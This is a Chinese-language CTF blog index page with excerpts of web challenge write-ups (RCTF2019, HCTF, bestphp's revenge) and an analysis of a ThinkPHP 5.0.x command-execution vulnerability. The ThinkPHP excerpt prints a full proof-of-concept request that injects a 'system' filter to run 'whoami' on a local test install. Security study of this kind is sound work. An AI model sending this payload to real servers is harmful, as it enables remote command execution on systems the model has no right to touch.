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<a class="post-title-link" href="/2019/05/21/RCTF2019-web/" itemprop="url">RCTF2019-web</a></h1>
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<p>上个周末做了一下RCTF，时隔一年卷土重来。这次Kap0k直接打到第6了，而且ak了misc，队友还是值得吹一波的。<br>回想起来，上一年的RCTF我还啥都不会，到今年还是啥都不会，岁月真是无情。</p>
<h1 id="nextphp"><a href="#nextphp" class="headerlink" title="nextphp"></a>nextphp</h1><p>这题考<code>PHP7.4</code>的特性，非常紧跟潮流。直接给了个eval<img src="https://www.github.com/coomrade/Img/raw/master/pics/1558345091731.png" alt="enter description here">
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<a class="post-title-link" href="/2019/03/02/ThinkPHP5-0-x-system-orders/" itemprop="url">ThinkPHP5.0.x命令执行分析</a></h1>
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<h1 id="漏洞介绍"><a href="#漏洞介绍" class="headerlink" title="漏洞介绍"></a>漏洞介绍</h1><p>18年末TP5爆出了这么个命令执行的漏洞，但是前段时间事情确实是多，没有时间来分析，现在来分析一下。先给出完整POC：POST<code>_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami</code>to<code>http://localhost/thinkphp_5.0.22_with_extend/public/?s=captcha</code><img src="https://www.github.com/coomrade/Img/raw/master/pics/1551423795581.png" alt="enter description here">我分析和复现使用的版本是thinkphp5.0.22
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<p>写这篇的时候正值期末考试期间，忙于复习，但是看到快要关环境还是抽时间在凌晨写了，比较匆忙。</p>
<h2 id="用优惠码-买个-X"><a href="#用优惠码-买个-X" class="headerlink" title="用优惠码 买个 X ?"></a>用优惠码 买个 X ?</h2><p>Description:</p>
<blockquote>
<p>flag在/flag中</p>
</blockquote>
<p>这题首先登录进去，发现题目给了一个优惠码
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<p>很害怕关环境，通宵了一晚把题目基本复现了一遍，睡醒之后发现环境真的关了，那么这波不亏。</p>
<h1 id="bestphp’s-revenge"><a href="#bestphp’s-revenge" class="headerlink" title="bestphp’s revenge"></a>bestphp’s revenge</h1><p>XCTF FINAL bestphp的出题人的又一力作，这次是升级版。
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<p>之前那个周末跟着De1ta打了一波HCTF，大部分题目质量很不错，学到了不少东西。真心佩服这个举办了十年的比赛，深深地膜一下杭电的大佬们。
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